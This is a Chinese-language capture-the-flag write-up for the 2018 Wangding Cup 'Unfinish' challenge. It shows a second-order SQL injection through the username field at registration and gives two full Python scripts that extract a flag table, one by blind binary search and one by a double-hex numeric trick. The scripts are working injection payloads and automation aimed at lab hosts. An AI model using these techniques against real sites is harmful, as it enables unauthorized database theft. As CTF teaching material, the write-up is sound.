0%

[网鼎杯2018]Unfinish

读题

  1. 打开题目,发现其要我们进行登入,尝试注入无果。盲猜有注册页面,果然存在regiester.php
  2. 我们随便注册一个,然后进行登入。进入index.php,唯一的收获是发现我们的username会显示出来。
  3. 此时我们猜测,注册的语句大概为:
    1
    insert table values ('email','username','password')
    这样一来,我们便想到了闭合达到注入效果。
  4. 同时我们还发现,如果注册成功会 302 跳转,失败的话会返回 200

    解题

      我们想利用的是username这个字段,先fuzzing一下看看过滤了那些东西。发现过滤了 information和 ,(逗号) 等。

    利用盲注来解题

     我们知道,sql中相加是会先转化成数字(和php类似,弱类型)再进行相加。我们构造类似'0'+'x'+'0' 而其中的x就是我们的判断语句。如果x成立就会在index.php中回显用户名 1 否则为0 。
     我们为了更好的定位到数字,我们构造'665'+'x'+'0'
    那么就来看看我的垃圾代码吧:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    import time
    import requests
    url="http://54762a3d-67bd-455d-ab84-1b708aea2476.node3.buuoj.cn/"
    # payload="665'+(ascii(substr((select database()) from {} for 1)) >{})+'0" # 报数据库
    payload="665'+(ascii(substr(((select * from flag)) from {} for 1)) >{})+'"
    result = ""
    i = 0
    f=1
    while (True):
    i = i + 1
    head = 32
    tail = 127
    while (head < tail):
    r = requests.session()
    mid = (head + tail) >> 1
    register = {
    "email": "3111@q.com0"+str(f),
    "username": payload.format(i, mid),
    "password": "1231"
    }
    r1 = r.post(url+"register.php",data=register)
    if r1.status_code == 429:
    time.sleep(5)
    else:
    login={
    "email": "3111@q.com0"+str(f),
    "password": "1231"
    }
    r2 = r.post(url+"login.php", data=login)
    if r2.status_code == 429:
    time.sleep(5)
    else:
    r3=r.post(url+"index.php")
    text=r3.text
    f += 1
    if '666' in text:
    head = mid + 1
    else:
    tail = mid
    result += chr(head)
    print(result)

利用hex来解题

这次我们直接来解读用户名
我们可以知道sql中的hex是将字符串转为16进制的,同时我们还发现只要进行2次hex就不会出现类型abc这类字母,这有利于我们相加。
但是还有一个问题,就我们进行hex后再加的话一般都变成了科学计数法(1.23e14)这样对我们读取信息不利。
经测试发现,只要我们读取不超过3个字符就不会进入到科学计数法这个模式(可以直接显示)。那么屁话不多说,我们直接贴一贴我的垃圾脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import base64   # 用来解16进制
import re # 正则匹配
import sys
import time
import requests
url="http://a7b707a7-a8e1-4b3c-878b-da980c9c4585.node3.buuoj.cn/"
payload="0'+(hex(hex((substr((select * from flag) from {} for 3)))))+'0" ## 必须保证有flag表,且flag表里只有一行一列,多列需要使用group_concat来连接

result=""
def fund(txt):
t = re.findall("<span class=\"user-name\">\n(.*?)</span>", txt)
t = t[0].strip()
if not int(t) > 0:
sys.exit(1)
# t=base64.b16decode(t)
# t = base64.b16decode(t).decode("ascii")
t=bytes.fromhex(t).decode('utf-8') ### 必须要求t为 str
t=bytes.fromhex(t).decode('utf-8') ### bytes.fromhex 返回结果是bytes类型的
# print(t)
global result
result+=t
for a in range(1,100):
register={
"email":"1112223@1123111"+str(a),
"username":payload.format((a-1)*3+1),
"password":"123"
}
login= {
"email": "1112223@1123111" + str(a),
"password": "123"
}
r=requests.session()
r1=r.post(url+"register.php",data=register)
if r1.status_code == 429:
time.sleep(3)
else:
r2=r.post(url+"login.php",data=login)
if r2.status_code==429:
time.sleep(3)
else:
r3=r.post(url+"index.php")
if r3.status_code ==429:
time.sleep(3)
r3 = r.post(url + "index.php")
fund(r3.text)
else:
fund(r3.text)

print(result)

疑难杂症

表名是怎么来的?

我们知道过滤了information 但我们想到了其它的表表名方法如:

1
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys`

但没有成功,why ?
因为 sys 库是在MySQL5.6或更高版本才有的,而我们这里的mysql版本,测试发现是5.5.64显然不可用。
那么…..
表名应该是猜的。flag 表。

注册的时候为什么要一直还邮箱?

如果不换邮箱名会一直得到第一次注册的那个用户名,故无有效数据。
这边我们发现同一个邮箱可以多次注册成功(会302跳转),但是显示的时候只显示了第一个注册的。应该是有排序我们登入查询一直查询到第一个。

python中16进制和str转换

这里似乎没有直接的语句可以将16进制转换为字符串,不过可以转换为bytes。我记录的有三种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
## 将一个十六进制字符串解码成一个字节字符串或者将一个字节字符串编码成一个十六进制字符串。
import base64
import binascii
s1=binascii.b2a_hex(b'mayi') #只有bytes 可以被编码 ,返回bytes
s2=binascii.a2b_hex(b'6d617969') # 解码可以str也可bytes ,返回bytes
print(s1)
print(s2)
print(type(s2))
print(s2.decode('ascii'))

"""也可以直接使用base63模块的,只是它不支持小写16进制"""
# s3=base64.b16encode(b"234") ## 只有bytes才可以被编码,返回bytes
# s4=base64.b16decode(b'323334') ## 解码不要求其类型,返回bytes
# print(s3)
# print(s4)
# print(type(s3))
# print(s3.decode('ascii'))

"""直接将一个16进制转字符?似乎只能转bytes"""
# a=b"mayi"
# a=a.hex() ##转为16进制,必须要求a是bytes,返回结果为str 类型
# print(a)
# print(bytes.fromhex(a)) ##必须要求a是一个str,它的返回结果是一个bytes类型

-------------本文结束感谢您的阅读-------------